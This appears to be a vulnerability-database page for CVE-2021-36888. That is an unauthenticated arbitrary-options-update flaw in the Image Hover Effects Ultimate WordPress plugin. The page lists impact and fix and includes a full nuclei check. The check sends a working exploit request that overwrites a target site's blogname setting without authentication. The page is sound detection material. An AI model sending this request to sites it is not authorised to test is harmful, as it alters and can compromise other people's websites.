HexBrain

Browse / CVEs / CVE-2021-36888

CVE-2021-36888· CWE-284

WordPress Image Hover Ultimate - Unauthenticated Settings Update

criticalseverity
9.8CVSS score
6.5%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.

Impact

Attackers can fully compromise the website, leading to complete control and potential data theft or defacement.

Fix

Update to the latest version of the plugin, newer than 9.6.1.

How to confirm it

Send: POST /wp-json/ImageHoverUltimate/v1/oxi_settings
Positive when: status_code == 200 and contains(body, "oxi-confirmation-success")
Send: GET /
Positive when: status_code == 200 and contains_all(body, rand)

Run it with nuclei: nuclei -id CVE-2021-36888 -u <target>

The full check
id: CVE-2021-36888

info:
  name: WordPress Image Hover Ultimate - Unauthenticated Settings Update
  author: riteshs4hu
  severity: critical
  description: |
    Unauthenticated Arbitrary Options Update vulnerability leading to full website compromise discovered in Image Hover Effects Ultimate (versions <= 9.6.1) WordPress plugin.
  impact: |
    Attackers can fully compromise the website, leading to complete control and potential data theft or defacement.
  remediation: |
    Update to the latest version of the plugin, newer than 9.6.1.
  reference:
    - https://wpscan.com/vulnerability/75da4102-7063-407f-975e-28be6ed33aac/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36888
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36888
    epss-score: 0.06532
    epss-percentile: 0.93846
    cwe-id: CWE-284
    cpe: cpe:2.3:a:blocksera:image_hover_effects:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2021,wpscan,wp-plugin,wordpress,imagehover,intrusive,unauth,vkev,vuln

variables:
  rand: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-json/ImageHoverUltimate/v1/oxi_settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{rand}}%22%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "oxi-confirmation-success")'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_all(body, rand)"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from